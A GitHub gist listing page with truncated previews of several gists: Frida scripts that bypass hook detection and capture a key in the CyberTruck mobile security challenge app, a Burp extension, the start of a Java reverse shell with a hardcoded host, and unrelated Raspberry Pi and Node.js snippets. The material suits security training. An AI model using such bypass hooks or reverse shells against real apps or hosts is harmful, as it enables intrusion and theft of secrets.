Skip to content

Instantly share code, notes, and snippets.

View p-g-krish's full-sized avatar
🎯
Focusing

Krish p-g-krish

🎯
Focusing
  • crypton
View GitHub Profile
@chrisdmc
chrisdmc / monitorMemory.js
Last active June 19, 2024 23:01
Frida MemoryAccessMonitor that auto-renews on access
function monitorMemory(base, length, interceptedInstructions = new Set()) {
const baseAddress = ptr(base.toString());
MemoryAccessMonitor.enable({base: baseAddress, size: length}, {
onAccess: function(details) {
let baseOffset = details.address.sub(baseAddress);
console.log(`${details.address} (offset in range ${baseAddress} = ${baseOffset}) accessed for ${details.operation} from address ${DebugSymbol.fromAddress(details.from)}. Page ${details.pageIndex + 1} of ${details.pagesTotal}`);
let instruction = Instruction.parse(details.from);
const nextInstr = ptr(instruction.next.toString());
if (interceptedInstructions.has(nextInstr.toString())) {
return;
Java.perform(function (){
var HookDetector = Java.use('org.nowsecure.cybertruck.detections.HookDetector');
HookDetector.isFridaServerInDevice.implementation = function(){
console.log("[->] HookDetector bypassed...");
return false;
}
});
Java.perform(function (){
var Challenge2 = Java.use('org.nowsecure.cybertruck.keygenerators.a');
Challenge2.a.overload('[B', '[B').implementation = function(b1, b2){
var returnEncryptedText = this.a(b1, b2);
console.log("[->] Flag2 Captured...");
send(returnEncryptedText);
return returnEncryptedText;
}
});
@antojoseph
antojoseph / ResponseProcessing.py
Last active November 22, 2020 15:17
Burp Extender - Python Scripter Plug-in to send responses to a docker container for further processing ( decryption/encoding/analysis )
import sys
import re
import urllib2
import base64
print(sys.version)
print(sys.path)
pattern = r"content-type:.application/json"
@caseydunham
caseydunham / C.java
Created October 3, 2017 13:42
Java Reverse Shell
// Not sure where I originally got this from.
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class C {
public C() throws Exception {
String host="10.0.0.90";
@gbaman
gbaman / HowToOTGFast.md
Last active October 31, 2024 23:33
Simple guide for setting up OTG modes on the Raspberry Pi Zero, the fast way!

Setting up Pi Zero OTG - The quick way (No USB keyboard, mouse, HDMI monitor needed)

More details - http://blog.gbaman.info/?p=791

For this method, alongside your Pi Zero, MicroUSB cable and MicroSD card, only an additional computer is required, which can be running Windows (with Bonjour, iTunes or Quicktime installed), Mac OS or Linux (with Avahi Daemon installed, for example Ubuntu has it built in).
1. Flash Raspbian Jessie full or Raspbian Jessie Lite onto the SD card.
2. Once Raspbian is flashed, open up the boot partition (in Windows Explorer, Finder etc) and add to the bottom of the config.txt file dtoverlay=dwc2 on a new line, then save the file.
3. If using a recent release of Jessie (Dec 2016 onwards), then create a new file simply called ssh in the SD card as well. By default SSH i

@kimmobrunfeldt
kimmobrunfeldt / node-exports-styles.js
Last active July 1, 2023 18:39
A few Node module export styles. 1 seems to be the most used and I prefer it
// Style 1
// Export all manually
// Good: Calling functions inside the module is convenient
// Bad: module.exports becomes verbose and it's tedious to add new functions
function a() {
b()
}